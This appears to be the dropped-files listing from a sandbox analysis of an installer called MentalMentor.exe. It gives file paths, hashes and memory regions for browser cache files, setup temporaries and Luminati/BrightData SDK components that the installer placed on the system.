SHA512 93d447b0a87e4c25dbca71a80a198693b12c684c0a96b370693d693899230460bbd8c85c137dcc0b4872bd2d85fd0d10bfe3f4137c1b08f01da3a9bbfa481447

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\storage\default\https+++www.youtube.com\cache\morgue\248\{2d217c81-7477-4065-a238-5b9f36fb66f8}.final

MD5 5a85b3ec969004ce7b23e6712c04860a
SHA1 dad284278108abf777290add4971eb92142d52aa
SHA256 bfa4bd5ff49d8418628f3a3c0da5b6d8a95d5436168b9482d6de954c0fea74b5
SHA512 37d836d572226967995b3f20557f98e4e55b89c08fdfbddd4dc45a6d4ee90a24e5dc8276d0e1971d7b366712bba3382086183e1498b006905169b758e44394a2

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\storage\default\https+++www.youtube.com\cache\morgue\131\{6adbb8cf-b7a4-4787-91b7-6e53b2726383}.final

MD5 3183686d3a59ab0d15fab2be7411e186
SHA1 22d29c6b9fcfa649773e12680f00d868e6714485
SHA256 2a1c50b6d5014af422db7ff5661a5a68cb0c27ee9cc4768c99502ada0eb63867
SHA512 eb7dcb18d20e28d283ea7d4cfdc08c0da81e0499089117ac068194b1ca2be661d380fe7d938d5828c42d711842bd3793b2dc2a3fe6285fab83b90be4fe3c7b16

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\A9A8CEFBA82AE40C20456A37A681CAEF99801138

MD5 0368baa4999f204853b9bdbd3029bfa0
SHA1 546434a68f7b0d90c8b4429efacadc4db2892269
SHA256 b2861c2fa63caa03b5c4ea8fb70c572ab0747e8c490be7fbbda177850f3ec7e8
SHA512 1338cb218209509aba37111c74d8dcb3a8e98fc584e205d689a98573cb94cbaa1cf9b607936cb29d0ebc272025a9229c82baccdef37307fd9a1080535dd773d9

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\29868

MD5 6d123ff5b0b32b32d981711c662bcf1f
SHA1 09f4674cfee1b1d5fa1acd94b2bcd267a28dea39
SHA256 f942c4c96dd8dcdfd36dbac2e4c8739f8e5dab89e43ff7e00871f419dcfe1b35
SHA512 f15a9f53c8a0cc6bb90d0529fe7afd82438cadf32457935192d4c64c5f64c9a7fd64d24874302e2c66a64176796c83b5e30b4c4547eefd52ee3e3cb8c54b7ab3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 0aeb29a928a27c40d7d29ee2872dc601
SHA1 d8dbfb16c91cf9bd733644ea168faf5615f2547b
SHA256 a7a0e3976a0871f19fbf87eb20730ef83188dd4a861fd0431f5b190bb0e99fe9
SHA512 5cb9ffc506de0b9a53914cea5e89b27cf903f5517fdda5921ad75dcda5d2ed5d1036e4f1f5d795d34c7a067071b48d707fcc3442a0d598567c4d892f749cb2c3

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\25394

MD5 2e00046c1fab13405e4147e334f5ccdf
SHA1 7730b92fc7380d3824c38d16b1ac109a66f80494
SHA256 b4882f6fc3444e7b283e56f8a4db2367fab1373eb0198b8413fd9b04a1dea753
SHA512 cc401bbf54c2348bd6766f70104069c97911b68889aa558c584bf5eda4580052872c255a60c8ead682ff3295c6b86ec0f487a6742cf182322b90902da1a2477f

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\18751

MD5 641239f3e8656b8f4b5c3b078a1c51a1
SHA1 79bb576ffdccd50e8ac87e350205912dd83218b8
SHA256 442170d0b52591dba7853eb13b7fa571152e0f4e4d14e677795ddd84384383e5
SHA512 cc0006a5d4c2a59b1e88532fef65ff732a1779a11e3b8945e937ff4f920373325fa44aefded3b2110befdd2875b887b7278085f5d863bfc3f65aacdfe7162c77

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\737DC370F8BEA72263C56C27E1143F8B993D1724

MD5 9e6055884a8c3ef4694e44e3935df666
SHA1 3bb6cf3ce8bc8c55a0071dfcf55f4744982e97b3
SHA256 2aed88edb18a7612259eec2907d8b2aefc5a1e5fb34bec48a4bc8a861c9b6dbb
SHA512 a7855127e0390d4b03d08e5444513627bfb423c507d564aadf184942f27d82e477621ec096d1f71ee38d5b24e60a7d08a16b96d6eea56d902f24895948e5a5d7

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\192D0652166390BAD062B70D8A97FF51A340B5E2

MD5 b913f71469ea385c0e1df0bbebe53a9b
SHA1 0138f68d115d2394aad695fc124c4962f3b39c7a
SHA256 f84f8d914c5445bf18cfaae00ec86b38bfc22cb18314ea2aa23212e2b633f2d0
SHA512 97a0d43d5d0e12cd183aa15e332110bd1fa3bb7cc2c4897aea8470f57d50b47b94ea7af14289469faa8b2d11449c76f14481e4c3061cf8fb450af5ae0c70494e

C:\Users\Admin\Downloads\MentalMentor.SOnR2mDp.exe.part

MD5 c71c9cfb2b7769518fca61cf883c5673
SHA1 51712f3b128b6427afad502d401174fe8ca3cdd4
SHA256 328a3f61f715188fade76611f000aaf8c62efd14410b0c1f483ba612b8ed2b2e
SHA512 b227afdb46ab7b8ba2c84ec8620cc1ac422215f17469c81101b85d24dc97de84ee5fb1e44548e647b7a8f1645a4b2789ebd53607429b5f241516ff685074211e

C:\Users\Admin\Downloads\MentalMentor.exe:Zone.Identifier

MD5 7b581b03ca02d72cb42dadb0696917ee
SHA1 e5d454abc6ad8d356818e4194b23c463d4b6c50e
SHA256 fc8d6fc66df6d9a10c3dc050bbb9087604417f7e6641c3a3ffc3c3fb12c055de
SHA512 38b36238a90eb963ec632d16bec6b82125e10c0fde66ae2e927fadfbe8e3ceb0720efba5bd0fa31670f33b4c095c3a4c426fa78a6c0e8b40d2824043160880af

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 60b65a450560b78e2c16933d19395b68
SHA1 7ccd2eb39aa02b1df69397e0aaa8342bf54bfd10
SHA256 ddccb04c8b88b61e3fee40b1630c62f402642a8df86bc36292e0353b2ee32d56
SHA512 527aeb2b94a051bd7db51f7233b760f3440342d71c6652964c7b43439548e82a00c92c2b66cfb977e1e3457e5330e61b6d398216a23307ad542b14f0dbe8a0aa

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\1946

MD5 d7850722d8d9df8807ae8ac1a1b05919
SHA1 55fb05cde37ec33c26e0e704037bc78f674d8fb0
SHA256 e156543b3138c4fcdefeb27f09398c3352f7df6552e83fa2c38430e4ec4c707b
SHA512 c1794e9022cd49e55bd3a5388c460fbfbf1068ffc4d95751250abc83ccac95090fde1532562870d34bea04682ef1fd23f265cf4af70fe11eaee9ec0db139a96d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\21428

MD5 810ba5ab76c6c64fe053b46e2a530cc8
SHA1 5586ff5f0b1ea285bbc63c7fbec7b5e665e419dc
SHA256 a97acb499edaca995d8d5798873e96590c0a11b6b9b534f9dd79f50f5bc9fd4c
SHA512 7b009240032608f0a309e77b0b46f588d4d147dac61d532ce155a8fbd0b8c90c962a75e0de9e0f484de81b56a17d46ebffe6ba83591b30969b27349ce262b39a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\27959

MD5 532e650d9f38516a8455f64b5998bed7
SHA1 4e55929f24b7cc41d09e3305814b5ecfee7850cb
SHA256 cb811867d08789c7df1f4587cfd7db5998589f3104b06f79579c54b2c47a5553
SHA512 693f31ff3672b56b110191cd7631fbe59bd48be95f60d969d137981687b50cf3ddb6ebd3eebeec553476203f0abf6e8f5643a4b52efb8310d565aff41f85f373

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\15840

MD5 059db4530dfebbf2dcf5becaaae8ffb5
SHA1 e1f123708eb503f95c64b9bfcdf430b60482e32c
SHA256 e690e01c645d3218689c9064beaebc3cabd1567f79ab555539c29acd335bfe7b
SHA512 bda6114e5ebfc1be9b851ec46dcc95936c411f55234879088acbb0f1d18f7f5a3fe2a52595db3e6f6053359d8271d5974ae49ce1c30fb70d27ce52460ff3947b

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\15616

MD5 64e8a516d5669246879738dc21e41cb6
SHA1 caa8169dbc9c16f9ad57b5e5c31cc804a41cfbbb
SHA256 18d440d2d19fdd7ea7d59dd1a9610cc3e40b6bbaf1d4ffcabd3647808985b8f1
SHA512 75866a90ed2c995d4465c8b7c5c150caddc5f78eec8750dfb0bbd6f148ff1680a341c45071d20227bb85a73810e76af2f55f380372d8b8c19881ec2ca1f883af

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\15504

MD5 598d54ab8f42762c6bd58479219d8ceb
SHA1 c4206e54b19c07339310be022d72d19d251e0e7a
SHA256 7e510fec7aafbaeb18d708d3b8f8398c5233e249332ef3b34f40de6f530b00a0
SHA512 e2ae09ad663dda7aa6a30f3108d46f050f54cf3fee792449dd77b2980abb3129718d1bf4f05a07103077c0c3837f7ef06a5c5c87642f56bfeda10a9916e0c0c1

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 caa2b037a1d5e3eb830f759edda6f466
SHA1 24762a97dee0b38ec4f1ee74224f49d13ace39eb
SHA256 e25b5e9c78bf7d76b4283183e5bbbeb02b2439efa99d4608223e9f3a6f6a5af8
SHA512 c75a7f1973770c1bd219b33b62e22c8c17b314425bc49707169f99cd6f6690914b0b9283e4c1458fa597f2283a9d2a635cb4c8dc3ecc0133956a352cb62942ba

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\prefs.js

MD5 ab7a44226bec94eedd4db8fb21a09752
SHA1 897dc3595616cafbf2b19f375884aa2515d04dda
SHA256 427a4aaa25b485011805e72907da7af613e5bf9109574300f14a4b93fb9b8ba3
SHA512 c6d512dfafda9660904a452433f461a7128692dc6e19ec407ba44490ea07e2e8e41e54ceb67e1fba48a2e2d24f3b420cd7b4b7dc838c4f3d85d68b8eca5c8030

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\prefs-1.js

MD5 587ab586644ee67f3642d7abce789566
SHA1 d8a07c088ad0e41d8cdc95bf2ebc3d8ddffbcced
SHA256 ab9b8869e8c7b166e47585c0ce280ee2ab7a6aa15588ab24fe6af49f849cc00c
SHA512 af738d1aa36e17decdfeaa097c7dba04d4ee17877e393076295b7130233091af5e44b483ab7ada7d494aa491c807595874e9a71ce79c72c2b71fc9641f82c674

C:\Users\Admin\Downloads\MentalMentor.exe

MD5 4403cb3b8b299528d40a2555d8395beb
SHA1 52971b252d0e259808f158872db478eef4ed94e4
SHA256 cad92559e7848f000ca084aa6e5434a2eafedd2bc2e5ff06a13b724bfd447359
SHA512 a1bd42758a68499dbce08cf99d6da6cd526914032a8129869da40c28f6daa4006b26b24047d40d0e4e11e325c97cef603172d5029bfda4756d5b94f0454fdb18

C:\Users\Admin\AppData\Local\Temp\is-U6I4S.tmp\MentalMentor.tmp

MD5 0d041f22d598f3a63bdf0e66c448bdab
SHA1 591fc72ec32e7efe2e641dba38c3cd7b6d415450
SHA256 e6b54015c403e3016b848b18fc488d4d281a752bc9ab2a3324ba4d8efb642563
SHA512 5dd3af37f06f308f348213c0305acab38cf279556c12a9b14d0343072b1f431778c75129715a2b04abcf219baaeba665faa08fcb4692d2ede36b2511178de210

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\idp.dll

MD5 4ab254c4ac23cbebe88300ee3701971a
SHA1 50f3a954278872212fb7446d3145a3cff2aafd6e
SHA256 abd2b6318b0fae420b5e9a8edf7fdd8691cc929440bfc5d436cb4489b9ef534a
SHA512 3d7d03099036e6e0fdead14617f65dfee7048595f4bd82ad8f2158333255839e3f4efe9e783b39595f350207a90282cb5718f4cb71a3405d79b027a6ff5ff411

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\mentor-inno-lib.dll

MD5 cf8b792e9b7b1486710a86337717cba3
SHA1 feae21175e7a00e23eaa4a2205be82104c98b062
SHA256 305cb219908d900b62fa8b633d05bb7d64d781b6c75210e45c86232235da6073
SHA512 9a201ecc938a818b4516850c29b1fa900a83e201c2160f5f23a0068e5d96cea6bd0b635b094dcfe33bc9feec0ff92201cc6dbd4ca77c188d053ac669751aac83

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 5dc9c7133ffea54169efa1c1d1d349b6
SHA1 7ae1b3764c18da833ada1ac10e9344811a48785e
SHA256 14587e4c6bfe04ee1e280a54acb4865dffd18a67be7f8303e3d69dcdcf90f2fc
SHA512 419dfcd6d3903048dd3b0aca3cf497e31d57156fa36a677568046bf407339595a76021fa79501bcc2c14c62037b5232c86aa81860b1beee13ef385054d7eee33

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\25545

MD5 b28faa6407db09f790dfffe4168700f9
SHA1 d03ea432be441416a0f19f77e448ef33969ac0ce
SHA256 759c283fe7eab3176adc42d7cb99b4a96d98f8f9a745e100504efb77ad62cfb1
SHA512 f5467d4ec945b2f6907adf5925e3bf95dd8cd47d5fa2c23545d500e6f2661782575e823d10fee6caf609169b80be84a686f67db24ca908a9cbb5d6302d3d1782

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\19014

MD5 7135214aabc4209bd756aa445539c420
SHA1 647f5e7d551152f74f0f7bdddea8c4728ce98c58
SHA256 683128856d1add75cbe6bf7fd7dba53913a2f21a5525aea3b4fa9fe7b1dd149b
SHA512 b450734289cf53985ab6222096d2bccaf484706fbeec7850204d49b002be7f983ed231403d966baa3b615834cfe89fcd2220cf01d56453da203f7c92005f86ac

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 b4b3eaa9663e23334f255b7d9a0f2cfd
SHA1 915590334ccb309ba8ca1da0187401d743a00afe
SHA256 8b11baa53037d4678623440f32e90f86fb9ee78a3c808fa7fdeeeae8a4c6f744
SHA512 eb9d31d2d255ce762472935360637fd9d8e0467ec7194951813edd2126be0915084895014ea272b270dc81878ae175be0a7fd9f5e93e8192250a09c3cc2390e0

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\5BC4DAB66650268E803F3FDAD6EFAB6E825E95CF

MD5 10eb6cabfa7c921ab5f745aa9d0b4f40
SHA1 aa89596f64c219b4dc6d6656415c61b833180813
SHA256 04502b39b09d50a65ae9d05d60664a0cd17b3e67c748ad7e594b17e13bf30c38
SHA512 9ce87eddb5ed7607003b5bd6fce26829d2a7fc9fc7eb910b48c5b6a405a9812a145f3b7aec8163ec90d4579fba43ca9f7d380badbdcbadbd8fbda332aea3acda

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 a031f42f2f1675f84c1288ac38b9d130
SHA1 a44d1e52886ac208c7f37deb27050e21afffd963
SHA256 d185795093c3f006392256e42c17106a4600e4ee91e7ba1f59c637a0c40b11d3
SHA512 92d04a3af07fc60849ed92e5b71e9f34942c5ea875b0a0f0d83c48f22dbda69c4db7330971acf538b4c91c38a34c5d03b4a31f435d6630162964af7993e8ab7a

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\7z.exe

MD5 a51d90f2f9394f5ea0a3acae3bd2b219
SHA1 20fea1314dbed552d5fedee096e2050369172ee1
SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
SHA512 c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\7z.dll

MD5 04ad4b80880b32c94be8d0886482c774
SHA1 344faf61c3eb76f4a2fb6452e83ed16c9cce73e0
SHA256 a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
SHA512 3e3aaf01b769471b18126e443a721c9e9a0269e9f5e48d0a10251bc1ee309855bd71ede266caa6828b007359b21ba562c2a5a3469078760f564fb7bd43acabfb

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\zip_libs.7z

MD5 b55fb2e89d973904c490536269733cde
SHA1 a3dc741c9b696cd06d217fe2af13a2999dd198ba
SHA256 9f7e34d7b7f1078ec8d8cc7de28134477f52e4543b2b2fec1d50d93c4aa79522
SHA512 7456db35d9d3177f6187a957a81db476b94255614035cea3d216397996a11a67fb6989b0a593c04d6f066b95004242a7addb7b248ca1761056bf0d14af61ee47

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\zip_bin.7z

MD5 88c257eb5dea882c3ce007c0c2d3ac0f
SHA1 da47ac8653a6e0e2734e84b1160d49aa69ec0629
SHA256 ec3ae2b251f6c2fccefe07a364b6d906b2dc309ff184c4a9e0ee63ab68b519b5
SHA512 82d789f0485182e30a0dcfb26d07be034183b3d27d73d809b839ccfc8a3834c95221b60853c2bebab41639f6963e981c262e335665478760c36dd85efa702235

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\zip_lum.7z

MD5 aae7bd94dd15b8dfdcc9538d2005b86d
SHA1 3ae4e609eeecd871a2c2a9cfb0ccbf8fa987ae73
SHA256 e78c1b6693dbe7e9bc8c22865207269231bf34b68b2e3df86c46a379a9c07c15
SHA512 860cae1b6c8b16d38649679766ad37ca360e220bcc0ef11a5828e3258ff34bcc7cc04e9c5b14028d3b96afe75be3271d905e7f66dad9634d7bb877456148ea41

C:\Users\Admin\AppData\Local\Temp\is-MG7QK.tmp\zip_html.7z

MD5 003bc5bc83bbd7366cd46cb1d20b9330
SHA1 4135899008c841e31372c512e73ac70f3217f952
SHA256 79637c6f7353dc4e953113f6e66388140c07494f81dbc2e5a93fa8443a410e3b
SHA512 5ce0f29b237c625f8aa720a68d644c3f1d2ba0a7886b12af9ad10bb6273c0df9afcde6357fc228138607fec96cb241fa65334720716357240e2a35a6b3a45acd

C:\Users\Admin\mentalmentor\luminati\luminati.exe

MD5 7f35e75ef4b13631c6f2355a48467613
SHA1 8564cf0e105d0ab6d27dc879f77761152007204b
SHA256 28e9f726bf8c2710ff3c40b50fdb9d5ec2a60c0174e86d1d4e1960fd4db1bfde
SHA512 53bd5b2a6a3f1722d93c111381cd48140a8ff8d316d566297dc271b3a983febeb7bea3683c7f789b0455c234b1f0c7ee1374dc4109bb10f9b0c3f65c22bc2be8

C:\Users\Admin\mentalmentor\luminati\lum_sdk32.dll

MD5 a5f5dfa3d90ccc8d115efe6f0ab3a786
SHA1 0f6285ef1206c0c8799445c417659cad4b6c0953
SHA256 7f6cdf7cf5bb90a59d7d70d38f95bbe15dbe27384d6f165e95759bd524cfe705
SHA512 f4e7464d20798a8265ac382fceea0cffdd76d09c2f2e66664cd32341084eb28069878b2fad442564293f023bcb310bf872220ab7a96cd93e5a15d5fb77947c26

C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\test_wpf.exe

MD5 0bbfcd9d525ec710b386e2efb3669b4e
SHA1 5aaa4f7a33f79e6fa71f44b58380229b80f6239f
SHA256 1b67b0bc187bf45a43c28b768b39e6ea5b657afd5433db0661f49ce7a3061d1a
SHA512 e4a654923926a6b81a15335e0165a0e39b721a1e8aa25343d553bcd32667b8edb0ab7a0627da8b9ee4a4e091232e61e30db0fd70595d38568dddda4d52abc0bc

memory/6148-12081-0x00000000007D0000-0x00000000007D8000-memory.dmp

memory/6148-12082-0x0000000005090000-0x00000000050B2000-memory.dmp

memory/6148-12095-0x0000000005110000-0x0000000005148000-memory.dmp

memory/6148-12096-0x00000000050E0000-0x00000000050EE000-memory.dmp

C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\brd_sdk32_clr.dll

MD5 c6030e74a4597da324a77da97cb33ada
SHA1 d015867cf7aca7a93f0912e1dccbafb1b2f4e04f
SHA256 44147c861e95842b7cf885afdd84935e28566514b3dccf6a1f8fb97df21aa21c
SHA512 25484367903290a2daa7d847a4db6ee72dba137ca4ee5410824d9d84618a0aa41bd33ae55475efe4f9034409b8e8c97daacbc82dd56c75ad29aaeed478be28db

memory/6132-12137-0x0000000005E60000-0x0000000006580000-memory.dmp

memory/6132-12138-0x0000000006580000-0x0000000006C8C000-memory.dmp

memory/6132-12139-0x0000000005AD0000-0x0000000005AF2000-memory.dmp

memory/6132-12140-0x0000000006C90000-0x0000000006FE7000-memory.dmp

memory/6132-12165-0x0000000007E10000-0x000000000833C000-memory.dmp

C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\lum_sdk_install_id

MD5 230ce99efb2dc244684a8097280ba67b
SHA1 3b600a571770efd0a04cb55851b442d6c9f28eb3
SHA256 3c3d541e4e186b4ede44747eb6a280b98528791f2055ee47f1d2e911a036899e
SHA512 1fd80c1b0aa2919d8d6c130f4d39fc8d1987d6f399e1c48b025d7c0806b46ca1b17e58433eb879079702fb3850fd34f19d3590099f9d02487123c92688ee909a

memory/6132-12193-0x000000000A540000-0x000000000A548000-memory.dmp

memory/6132-12195-0x000000000D5F0000-0x000000000D778000-memory.dmp

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 51625fcf88395ec3e3bc2f81b53180da
SHA1 bc9acad12ec8929eb788210e7d1674d1be9dd566
SHA256 d62c1ed86a27f7cefca43c88a4c03e1caf2f8e1e1d6f3c9772dc262f16734955
SHA512 04cb95ed894ab416040431e4f6b453a29c209c35fb91da4462ff6a4cbcfc6986d0c632a4163ec5b87ed4c56fb92eb5efb0b6eb9c289ab085f5977585e798cab7

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 f4ec3e342da3e7ce27241df5117159bd
SHA1 1e642989590d358c81e21b432653c492239e1a9e
SHA256 598beab094134b64d18dcebe55f3e3476300bd0f7d597441b2c0eccf327fbe4b
SHA512 4d7dc915cb6ba01fce33bf54880412303b6c41441ad91a53c346fe2dc3f84b59ae994063fb5fe9abb0842d754fec10844fc43137b70c3953470ec3973f262d2d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 f8da3eeb059abef58512ed024324791d
SHA1 ada943ef95ebbe05ee9a1be3ad2510cb1bf7c8af
SHA256 f093fbe90271f9dfe8859711a74dd5d6a49ed83c49918bf7433b4a555110c5c8
SHA512 9fb3a3e66992f605a857c0f22f246263086e160dcecad6e62d51843c4eecf752baa834e392b0270845c8a855295f9ea22678ea6ebdcfc0475801a73a6360e5bc

C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\20240521_210846_once_07_service_stop_1.429.308.log

MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09

memory/2572-12319-0x00000000055C0000-0x0000000005CE0000-memory.dmp

memory/2572-12320-0x0000000005F40000-0x0000000006297000-memory.dmp

C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\idle_report.exe

MD5 ddb7556b90d6b912cbc5b96ade855ba1
SHA1 1a6cd4dfb4549e94d2381827de64d58f4a49991c
SHA256 db1b3dc9925acce3d02b620f1110a4ca8fc78813ac5079b3d40c95c56e686508
SHA512 1bd48c043bc2aeb21d1937f92f4ffb3f02866ed74186b401c23af693b7c03ae3590c6ce8a5d1f3c597af36b00175ac9a88505295771e8ea98c4bb10516ed5b46

memory/5484-12362-0x00000000009F0000-0x00000000009F8000-memory.dmp

C:\ProgramData\BrightData\d1bab175a2a8d47f9b561f4c58dc046b93194db0\brightdata.exe

MD5 ad027044465902bc8a6e85056d3e2011
SHA1 d7ae22a4988b2453c123953e03d0f44a4f2eb9c1
SHA256 e7bc43667b3573755abbacb09e1b47168bff77b10387803b6f867d44645ed659
SHA512 1a34d2a32b5146c9034d1cd08ddf6f250d1c81d3dd567094a138d8ff46ba18fcaa395f284e11ea565c24d48354ee125d231425ed870d2e848836a2d31ab80bf5

memory/8392-12390-0x0000000000ED0000-0x0000000001206000-memory.dmp

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\06D259192848E01E684BF707A130721FDB7669FB

MD5 1c6bba9d840ff6002c0fade3fa3b98f2
SHA1 e55e6d0976b15263d284a49db2b07765c50b85f4
SHA256 254b872d58c05ce17764a335450ff856014f201f4db190a14164cacc4d56f9fb
SHA512 107cafcff7be31d20e942d652f252f8a3f587f347d4644474e3ddb85b4d4b1670ca5c95695a5643bef6ae9ee6432b17971139e2a3e263aa6b4b827492ee8bc71

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 ca3717e3ef967e1be181439502532369
SHA1 6cf8d1da4d52381187f528683b847fe276c0d11a
SHA256 61806f65137aa062d49aba2792c143c06c70c687dbde59b7369f33b9cc6388e1
SHA512 23939d93d8e0db9549fa855fb10222d240bc32f8faa60e255e2773d1d0e33dd19ce8d53dcb3f52099750fe7e7fdec62cb647a46d91dbd6cce5ec750325bd0030

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\50BCAF6457EBF74E4785EC3EE99C6DE3A028E78F

MD5 1caa4aa382abe4b45d91e11ae53d9010
SHA1 b7238d6b4c5200ffc6a23db08a9e19c310419c0c
SHA256 4c481537c60a902ce7fd76524fe24473c4443bbd742e0861060356d979aedae2
SHA512 75f04517365e9f59a8dfb6efada3420f4a829fa9ee80a62f5ab5742c32f58fa8b573e994616a17392c650d0c29f4944389e536868b9e8c72833062d46c63e7ce

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\4817

MD5 99ec1c9cd0e2c8582473d33785857a3e
SHA1 1f9ef7ffb331dc696c4eb70257e52033cdba8090
SHA256 55b73d02dabee71792501f51fe19a481bfd796fb61c7e155ea0f487ae038be83
SHA512 3a2e88f2257fd08127eef58689915621013728c89c276c0a879e0a9670d15449e050d8042adeb5a62967f4749bb1789e0f7b228770a6038b5faddf10fb3b091e

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\13716

MD5 6b5428a3a8978dc95b220f4d1fd7a076
SHA1 7298099b7ff9f44f379acca1c8a36a87876a224d
SHA256 f51413e9d77565353f79878404fa5234c4801960b8cf803c589073da1c54b888
SHA512 53acfc36aa377b2e55a722fd9f3a512dfdf1a02e3724eedb54364afe34cb7379def3393885a17ca5c7982d286e858197457071db990d8a6375df688fc4fc4f3d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\F3543868EF25ED3F0E609EE153C5FC0C87F0A151

MD5 f284dd52bba993e87f48ed7ad27aa7e7
SHA1 374656cc71abfa4d4cb6a804f770b36b4d793f34
SHA256 8748e31d727164017ca5e2be869e70eed689f92d669a67b7399a7cf99868960a
SHA512 e716a7c9a028fcac839eb7bb949c057c0e2ec240ca60bc2c90804c4baeb3359e8b6af909c7cef3f4984c92bebec4843d78b7cf174cae446aa60066d11678c712

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\B514A755374E6746D390AF744FA3C4929266A7B9

MD5 681e66d14eae5273878710224ee88171
SHA1 1bc1ecb784d0de6f1f445d33c2bc8af3dedb9e17
SHA256 ea1351e47188b832a631a48047b52bfc88e9b8b4cbc4ed9ff48938ec9afadfc7
SHA512 b7799b1ddec28f967bf576377c510d2f42d290ae8040e2a1ccd15d051fc097b982088dcaaee4056fff8b36d6e931f74136aeab11a8c75f6f5091c216dbcd11e2

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 201cf2fda8bdbedca17151b1215d2a1f
SHA1 f5020dd3ae5dcf438d0e0706ed1e7f874a780205
SHA256 c90611113eac6371dfc656268910ef2accff5ff153bba84d385bb4bc1a351dce
SHA512 5ead0ecb1a279c5a6ecb4d46c3ab767900737898e79aeac072a486e30ed2c969b09073a74e59e573af336ff8a2cb02dc88154387edb15f57a59f145b6dac7993

C:\Users\Admin\Downloads\0TUICfqO.rar.part

MD5 5d2f9ea9a9cdf3b8cbc852b03af8fa0a
SHA1 cc23ac27797025c7794518f78b185124787b26a3
SHA256 2e867a006d0dd18b628e0598d8a2c743dccc506e44b9640025beb9e9c6ba2c21
